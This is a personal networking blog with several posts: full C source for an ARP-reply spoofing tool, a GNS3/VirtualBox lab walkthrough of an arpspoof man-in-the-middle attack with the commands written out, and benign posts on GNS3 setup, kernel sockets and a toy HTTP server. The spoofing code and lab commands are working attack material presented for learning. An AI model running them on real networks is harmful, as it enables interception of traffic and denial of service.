Wednesday, July 31, 2013

ARP Reply Spoof - C code

ARP Reply Spoof- C code



'ARP SPOOFING - VBox+GNS3 test ' contains introduction to ARP, its working and ARP Spoofing. To understand this post it is recommended that you have a basic idea about these topics.

In the code given below we broadcast ARP reply in the interface specified. The interface, source ip address and source MAC address are given as parameter to the program. The destination MAC id is set to all 1s for broadcasting. The ARP reply is broadcasted regularly using sleep() so that the original ARP reply is not cached in the target systems ARP table.


Applications of ARP Spoofing

  • Denial of ServiceThe hacker can broadcast ARP Reply whose source IP is that of a router/gateway and a false source MAC id. Now when a host tries to send a packet to the router/gateway, it is dropped and the hacker has cut off the network from the other side of the gateway (internet).
  • Man-in-the-middleHere the attacker sends ARP reply to the victim-1 stating that it is the victim-2. Also ARP reply is send to victim-2 stating that the attacker is the victim-1. The packet forwarding feature is enabled in the attacker so that all packets between the victim-1 and victim-2 passes through it.

ARP Packet


Ethernet Packet


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <signal.h>
#include <sys/socket.h>
#include <net/ethernet.h>
#include <net/if.h>
#include <netpacket/packet.h>
#include <netinet/if_ether.h>

int sock;

#define PACKET_LEN sizeof(struct ether_header) + sizeof(struct ether_arp)

void close_sock()
{
  close(sock);
  exit(0);
}

int main(int argc, char ** argv)
{
 char packet[PACKET_LEN];
 struct sockaddr_ll device;
 struct ether_header * eth = (struct ether_header *) packet;
 struct ether_arp * arp = (struct ether_arp *) (packet + sizeof(struct ether_header));
 
 if (argc < 4) 
 {
    puts("Usage: ./a.out <interface> <source ip address> <source mac address>");
  exit(1);
 }

 sock = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ARP));
 if (sock < 0)
   perror("socket"), exit(1);

 signal(SIGINT, close_sock);


  //Source Hardware Address : ARP Packet
  sscanf(argv[3], "%x:%x:%x:%x:%x:%x",  (unsigned int *) &arp->arp_sha[0],
(unsigned int *) &arp->arp_sha[1],
(unsigned int *) &arp->arp_sha[2],
(unsigned int *) &arp->arp_sha[3],
(unsigned int *) &arp->arp_sha[4],
(unsigned int *) &arp->arp_sha[5]);

  //Source Protocol Address : ARP Packet
  sscanf(argv[2], "%d.%d.%d.%d", (int *) &arp->arp_spa[0],
                         (int *) &arp->arp_spa[1],
                         (int *) &arp->arp_spa[2],
                         (int *) &arp->arp_spa[3]);

 //Ethernet Packet
 memset(eth->ether_dhost, 0xff, ETH_ALEN); //destination address : broadcast address
 memcpy(eth->ether_shost, arp->arp_sha, ETH_ALEN); //source address
 eth->ether_type = htons(ETH_P_ARP); //type

 //ARP Packet
 arp->ea_hdr.ar_hrd = htons(ARPHRD_ETHER); //Format of hardware address
 arp->ea_hdr.ar_pro = htons(ETH_P_IP); //Format of protocol address.
 arp->ea_hdr.ar_hln = ETH_ALEN; //Length of hardware address.
 arp->ea_hdr.ar_pln = 4; //Length of protocol address.
 arp->ea_hdr.ar_op = htons(ARPOP_REPLY); //ARP operation : REPLY
 memset(arp->arp_tha, 0xff, ETH_ALEN); //Target hardware address.
 memset(arp->arp_tpa, 0x00, 4); //Target protocol address.

 memset(&device, 0, sizeof(device));
 device.sll_ifindex = if_nametoindex(argv[1]); //Interface number
 device.sll_family = AF_PACKET;
 memcpy(device.sll_addr, arp->arp_sha, ETH_ALEN); //Physical layer address
 device.sll_halen = htons(ETH_ALEN); //Length of address

 printf("Press Ctrl+C to stop \n");
 while (1) {
   printf("Broadcasting on %s: %s is at %s\n", argv[1], argv[2], argv[3]);
   sendto(sock, packet, PACKET_LEN, 0, (struct sockaddr *) &device, sizeof(device));
   sleep(2);
 }
 return 0;
}





Adding VirtualBox Guest to GNS3

Adding VirtualBox Guest to GNS3

1. Install GNS3 and VirtualBox

2. Add a 'Host-only Network' to VirtualBox Manager
File>Preferences>Network
Click the 'Add host only network' button (right side)
A 'vboxnet0' network appears in the list

3. Add a guest OS to VirtualBox

4. Add guestOS to host-only network
Right the newly added guestOS inthe VBox manager
Settings>Networks>Adapter1
Check 'Enable Network Adapter'
Select 'Host-only adapter' in 'Attached To:'
Select 'vboxnet0' in 'Name:'
Under 'Advanced' section uncheck 'Cable connected'
Note down the MAC address


5. Selecting VBoxwrapper in GNS3
GNS3 : Edit>Preferences>VirtualBox>General Settings>Path to VBoxwrapper
Locate the 'vboxwrapper.py' in the 'vboxwrapper/'
Click 'Test Settings'
If 'VBoxwrapper and VirtualBox API 4.1.2_Ubuntu have been successfully started' then its OK

6. Selecting the guestOS in GNS3
GNS3 : Edit>Preferences>VirtualBox>VirtualBox Guest
Click 'Refresh VM List'
From the 'VM List', select the guestOS and give it an 'Identifier name'
Click 'Save' , the Id Name appears in the list below 'Save'
Click 'Apply' and 'OK'

7. Adding VirtualBox guest to GNS3
Drag and drop 'VirtualBox guest' to the central panel

8. Adding Router to GNS3 and Setup an interface 
Drag and drop a Router from the left panel to the central panel
(Note: You should have loaded the particular Routers IOS image in GNS3
              See 'GNS3 non superuser setup' on how to add IOS images
)

9. Connecting Router and guestOS
Click 'Add a Link' and Select 'Ethernet'
In the central Panel, Left Click the Router and then guestOS (select an adapter if asked)
Click the '(X)' to stop adding links
A link appears between the guestOS and Router (in the central panel)
Red dots appear at both the ends of the links


10. Configuring the router 
Right and click 'Start' on the Router in the central panel
Red dot near the Router turns green
Right and click 'Console' the Router in the central panel
In the terminal window that appear
Wait for it to boot (press Enter when asked to get started)
( This not the best way to learn to configure a router.Refer some Cisco or CCNA materials.
     I learned it from CCNA book by Todd Lammle.
)

R3#configure terminal
R3(config)#interface ethernet 0/0
R3(config-if)#ip address 192.168.1.1 255.255.255.0
R3(config-if)#no shutdown
R3(config-if)# [[Ctrl+C]]
R3#copy running-config startup-config
[Enter]
[Enter]
R3#Exit
Close the terminal window

11. Configuring guestOS
Right and click 'Start' on the guestOS in the central panel
Red dot near the guestOS turns green
After booting, Login and start a terminal

guestOS# ifconfig -a
 from the list that appears find the ethernet number (eg : eth3) of the adapter whose 
 HWaddr is same as the MAC address we noted down in step 4.
guestOS# ifconfig eth3 192.168.1.2 up
 'eth3' is the adapter in my case, can be different in yours
guestOS# ping 192.168.1.1

if ping worked then SUCCESS
(Note : while building larger networks add default gateway as 192.168.1.1 to the guestOS's adapter)

12. Save the topology setup. 

ARP SPOOFING - VBox+GNS3 test

ARP SPOOFING - VBox+GNS3 test

Address Resolution Protocol (ARP) is a protocol used for resolution of network layer addresses (IP address) into link layer addresses (MAC address). ARP was defined by RFC 826 in 1982. It is a request and reply protocol and used only within the boundaries of a single network, never across internetwork nodes.

ARP works on Ethernet networks as follows
When any device wishes to send data to another target device over Ethernet, it must first determine the MAC address of that target given its IP address These IP-to-MAC address mappings are derived from an ARP cache maintained on each device. If the given IP address does not appear in a device's cache, that device cannot direct messages to that target until it obtains a new mapping. To do this, the initiating device first sends an ARP request broadcast message on the local subnet. The host with the given IP address sends an ARP reply in response to the broadcat, allowing the initiating device to update its cache and proceed to deliver messages directly to the target. ARP does not provide methods for authenticating ARP replies on a network, ARP replies can come from systems other than the one with the required Layer 2 address.

In ARP spoofing the answering system, or spoofer, replies to a request for another system's address with the aim of intercepting data bound for that system. A malicious user may use ARP spoofing to perform a man-in-the-middle or denial-of-service attack on other users on the network.

Here in this tutorial we are trying a man-in-the-middle attack where we send ARP reply to the router from the attacker stating that it is the victim.Also ARP reply is send to victim stating that the attacker is the router.

Setup a network with at least 2 host connected to a Ethernet switch. This switch is connected to a router. The network I used is shown below.

Network Simulation Software : GNS3


R1 :             Cisco 3620 Router| 192.168.1.1
BT5R2 :          BackTrack 5 R2 | 192.168.1.2 | MAC_ID_1 | Attacker
Mint 12 :             Linux Mint 12  | 192.168.1.3 | MAC_ID_2 | Victim

BT5R2
terminal#1 @ BT5R2
BT5R2# arpspoof -i eth2 -t 192.168.1.1 192.168.1.3 
This sends ARP reply to R1 stating that BT5R2 is 192.168.1.3
so R1 saves MAC_ID_1 as the MAC ID of 192.168.1.3
This is reply is send regularly so dont close this process

terminal#2 @ BT5R2
BT5R2# arpspoof -i eth2 -t 192.168.1.3 192.168.1.1
This sends ARP reply to Mint 12 stating that BT5R2 is 192.168.1.1
so Mint 12 saves MAC_ID_1 as the MAC ID of 192.168.1.1
This is reply is send regularly so dont close this process

terminal#3 @ BT5R2
BT5R2# echo 1 > /proc/sys/net/ipv4/ip_forward
Enable IP forwarding
BT5R2# wireshark & 
So that you can capture the packets for verification


Mint 12
Mint12# ping 192.168.1.1
ping R1, check wireshark @ BT5R2 for 'Redirect' packets.
Those packets will be highlighted in Black.

R1
To check R1 ARP mapping 
R1#show arp




Wednesday, June 26, 2013

GNS3 non superuser setup

GNS3 non superuser setup

What is GNS3 ? Who can use it ?   
    http://www.gns3.net/

The video-tutorial section under site has a tutorial on how to setup GNS3 in linux at /opt/ through sudo (superuser). But I had some issues while I tried to setup VirtualBox along with it to Link guest PCs. So tried installing it as non superuser, here is how I did it

GNS3 non superuser setup


>Download gns3 and dynamips
    gns3(tar.bz2) : http://www.gns3.net/download/
    dynamips(bin) : http://www.gns3.net/dynamips/

>Unzip gns3 to a folder, say GNS3/
  (I did it in a dir in /home/melwin/Downloads)

>Move dynamips to GNS3/

>Make dynamips executable
    chmod +x dynamips-0.2.8-RC3-community-x86.bin

>Run GNS3/gns3.pyw (either from terminal or GUI)

>Enter Project Name. Change Project Dir location if required

>Locate dynamips
    Edit>Preference>Dynamips>Settings>Executable path to Dynamips
    Locate the .bin that we justed moved to GNS3/
    To test click "Test Settings"
        If "Dynamips 0.2.8-RC3 successfully started" message then OK

>Locate IOS dir
    Edit>Preference>General>General Settings[tab]>Paths>OS images
    Locate the Cisco IOS image directory

>Locate project dir [if not during startup]
    Edit>Preference>General>General Settings[tab]>Paths>Project Directory
    Locate the project directory

>Add IOS images
    Edit>IOS images and hypervisiors>IOS Images[tab]>Settings>Image file
    Locate the Cisco IOS image file (.bin)
    If asked for uncompression, allow
    Select Platform and Model based on the IOS image
    Click Save
        There will be a "waring:IDLE PC will have to be configured" we will get there
    Click Close
    (    My Image : c7200-adventerprisek9-mz.124-2.T2.bin
        so platform:c7200 and model:7200
    )

>Drag-drop router
    From the left panel drag and drop the router whose image has been uploaded
    Right click the router (in the middle panel) and click start to start the router

>Select Idle PC value
    Check CPU History, if any of your CPU has high utilization then IDLE PC value has to been configured
    Right the running router and click "IDLE-PC"
    Wait for GNS3 to calculate and show the list of IDLE PC value(s)
    Select the IDLE-PC value that has a * with it.
    If * not present on any value, select the one with minimum value within the []
    Check CPU History, if CPU utilization drops then OK else repeat these steps.

>Save topology
    File>Save or Save As
    Located the topology.net file in the Project Dir if asked

Since we have installed GNS3 as non-superuser, an error("Can't start dynamips at 127.0.0.1 port 7200") might occur. In this case, you will have to locate and test the dynamips everytime you start GNS3.

Tuesday, April 30, 2013

Network Programming in the Kernel


Prerequisites : Socket and Module programming

Advantage of implementing application within the kernel : 
  • The overhead associated with user-space/kernel-space transition can be avoided by implementing the application completely in the Kernel Space .
  • In specific research and high-performance computing environments, there is a need for achieving data transfers at great speeds. Kernel applications find use in such situations.
Disadvantages:
  • Security is a primary concern within the kernel, since kernel process run with unlimited privileges.Consequently, special care needs to be taken while designing in-kernel applications.
  • Large applications cannot be implemented in the kernel due to memory constraints.
  • Every kernel needs a specific implementation route.
  • Failure in the web server may cause the OS to crash.



/*  
 * Called when a process writes to dev file
 * Stores the string written to the device in
 * local buffer and sends the string using
 * SOCK_STREAM to 127.0.0.1:2001
 */
static ssize_t
device_write(struct file *filp, const char *buff, size_t len, loff_t * off)
{
int ret; //return value
int k,leng;
struct sockaddr_in server;
struct socket *soc=NULL;
struct iovec iov;
struct msghdr msgh;
mm_segment_t oldmm;
printk(KERN_INFO "[device_write]File opened for writing\n");

ret=copy_from_user(msg,buff,80);
//buff : buffer that accepts the string from 
// the program that issued a write.
// Points to user area memory
//msg  : kernel/module space that hold the 
// value written.
msgh.msg_name     = 0;
msgh.msg_namelen  = 0;
// Socket address members msg_name and msg_namelen.
// Required only when your socket is a datagram socket.
// msg_name member points to the socket address that 
// you are sending to or receiving from.

    msgh.msg_iov      = &iov;
    msgh.msg_iovlen   = 1;
// I/O vector references msg_iov and msg_iovlen.
// msg_iov member points to the struct iovec array.
// msg_iovlen indicates how many elements are in your 
// I/O vector array 

    msgh.msg_control  = NULL;
    msgh.msg_controllen = 0;
// Ancillary data buffer members msg_control    
// and msg_controllen. Used to pass protocol-specific 
// control messages. No control messages for TCP.

    msgh.msg_flags    = MSG_DONTWAIT;
// Received message flag bits msg_flags.
// MSG_DONTWAIT prevents the system call from blocking if, 
// for example, there are no data to be received.

    oldmm = get_fs();
    set_fs(KERNEL_DS);
// get_fs returns the current segment descriptor stored in FS.
// set_fs stores a descriptor into FS, so it will be used for 
//  data transfer instructions.

    msgh.msg_iov->iov_len = 80;
    msgh.msg_iov->iov_base = (char *) msg;

    printk(KERN_INFO "[chardev:device_write] msg : %s\n",msg);

    k=sock_create(PF_INET,SOCK_STREAM,IPPROTO_TCP,&soc);
    memset(&server,0,sizeof(server));
    server.sin_family=AF_INET;
    server.sin_port=2001;
    server.sin_addr.s_addr=inet_addr("127.0.0.1");
    k=soc->ops->connect(soc,(struct sockaddr *)&server,sizeof(server),O_RDWR);
    if(k!=-1) printk(KERN_INFO"[device_write] connect() OK. Next sock_sendmsg().\n");
    else printk(KERN_INFO"[device_write] connect() FAILED. Next sock_sendmsg().\n");
    leng = sock_sendmsg(soc, &msgh, 80);
//msg length 80
    if(leng) printk(KERN_INFO"[device_write] sock_sendmsg() OK. Next close().\n");
    else printk(KERN_INFO"[device_write] sock_sendmsg() FAILED. Next close().\n");
    sock_release(soc);

return ret;
}

Further Reading :
 In-Kernel Web Sever

 kHTTPd

Saturday, January 26, 2013

Simple HTTP Server Programming



Simple HTTP Server

Prerequisites : Socket and thread programming

HTTP is a protocol used for communication between a browser and a web server.

How HTTP works : When you type in  a URL in the browser and click GO the browser extracts the host-name section and uses DNS to obtain the IP address of the web server that host the web site. The browser then uses this IP address to form a TCP connection to the web server. The browser sends HTTP request to retrieve a specific page. If the page exist the server responds by sending the copy of the page in the HTTP response (response code - 400). If the file doesn't exists in the server, the server send  HTTP response containing a response code 404 (Not Found Error Message).


HTTP Request

  The request message syntax:
  • Request line, for eg :  GET /images/logo.png HTTP/1.1
  • Headers
  • An empty line.
  • An optional message body.
  Example of a simple HTTP request:
    GET / HTTP/1.1
    Host: 127.0.0.1:2003

Explanation:
Line 1 : "GET" indicates the request method used . Other methods are PUT, POST etc
     "/" indicates the requested page, here its the root page i.e index.html
     "HTTP/1.1" version of HTTP used
Line 2 : "HOST" host to which request is send
"127.0.0.1" IP address of host
"2003" is the port used

More about HTTP request and headers can be found at
http://en.wikipedia.org/wiki/HTTP_request


HTTP Response
The response message consists of the following:
  • A Status-Line
  • Headers
  • An empty line
  • An optional message body
Example:
HTTP/1.1 200 OK
  Content-type: text/html
<html>
<head></head>
<body>
 <h1>Header</h1>
 <p>Congrats !! your HTTP server is working.</p>
</body>
</html>

Explanation :
Line 1 : "HTTP/1.1" HTTP version used
"200" status code
"OK" description of status code
Line 2 : "Content-type: text/html" indicates type of the file.
Line 3 : HTML code of the page

More about HTTP response and headers
http://en.wikipedia.org/wiki/HTTP_response

HTTP status code
                http://en.wikipedia.org/wiki/List_of_HTTP_status_codes




/*------------------------------Simple HTTP Server----------------------------*/


#include<sys/socket.h>
#include<sys/stat.h>  
#include<sys/types.h>  
#include<netinet/in.h>
#include<stdio.h>
#include<string.h>
#include<stdlib.h>
#include<pthread.h>
#include <netdb.h>

#define BUFF_LEN 1028

pthread_t c;

/* HTTP response and header for a successful request.  */
static char* ok_response =
  "HTTP/1.1 200 OK\n"
  "Content-type: text/html\n"
  "\n"
  "<html>\n"
  "<head></head>\n"
  " <body>\n"
  "  <h1>Header</h1>\n"
  "  <p>Congrats !! your HTTP server is working.</p>\n"
  " </body>\n"
  "</html>\n";

void * serve_client(int tsd)
{
int k;
char buff[BUFF_LEN]; //used to store the HTTP request
printf("[Server : %d].\n",tsd);
k=recv(tsd,buff,BUFF_LEN,0);
if(k==-1)
printf("[Server : %d] recv() failed.\n",tsd);
else printf("[Server : %d] recv() OK .\n",tsd);

// Printing the HTTP request recieved
printf("[Server : %d] Recieved : %s\n",tsd,buff);

/* Actual HTTP server does some processing and responds accordingly.
* Here I have just send a HTTP response.
*/

//Sending the HTTP response
write (tsd, ok_response, strlen (ok_response));

close(tsd);
printf("[Server : %d] going to pthread_exit().\n\n",tsd);
pthread_exit(NULL);
}


int main(int argc,char *argv[])
{ char buff[100];
int k;
socklen_t len;
int sock_desc,temp_sock_desc;
short port;
struct sockaddr_in server,client;

printf("[Server] Start . Next memset()\n");
memset(&server,0,sizeof(server));
memset(&client,0,sizeof(client));

printf("[Server] memset() OK . Next socket()\n");
sock_desc=socket(AF_INET,SOCK_STREAM,0);
printf("[Server] socket() OK . Next bind()\n");
server.sin_family=AF_INET;
server.sin_addr.s_addr=INADDR_ANY;
port = (argc > 1) ? atoi(argv[1]) : 3001; //default port : 3001
server.sin_port=htons(port);

k=bind(sock_desc,(struct sockaddr*)&server,sizeof(server));
if(k==-1)
printf("[Server] bind() failed.\n");
else printf("[Server] bind() OK . Next listen()\n");

k=listen(sock_desc,10);
if(k==-1)
printf("[Server] listen() failed.\n");
else printf("[Server] listen() OK . Next accept()\n");

len=sizeof(client);

while(1)
{
temp_sock_desc=accept(sock_desc,(struct sockaddr*)&client,&len);
printf("\n[Server] accept() OK .\n");

printf("[Server] Client IP : %s.\n",(char*)inet_ntoa(client.sin_addr));
printf("[Server] sock_desc : %d.\n",sock_desc);
printf("[Server] temp_sock_desc : %d.\n",temp_sock_desc);

/*
* Start a thread to server each client.
*/
pthread_create( &c,NULL,(void *)serve_client, (int *) temp_sock_desc);

}

close(temp_sock_desc);
close(sock_desc);
exit(0);
return 0;
}

/*------------------------------End Of Program----------------------------*/



Working :

This programs waits for a client to connect and then starts a thread to serve the client.
This thread recieves a message(HTTP request) from the client and sends a HTTP response
to the client.

A real HTTP server does more than this. It includes

  • checking if the requested file exist and send response accordingly.
  • Integration of Server side scripting languages like PHP,ASP,JSP.etc
  • status code based actions
  • caching
  • and so on


By parsing through the HTTP request the requirements of the client can be understood and
required output can be generated.


Compiling and running :

  1. Copy the code and paste it in a file,say "server.c"
  2. compile : gcc server.c -lpthread
  3. run : ./a.out 2001
  4. In browser : http://127.0.0.1:2001/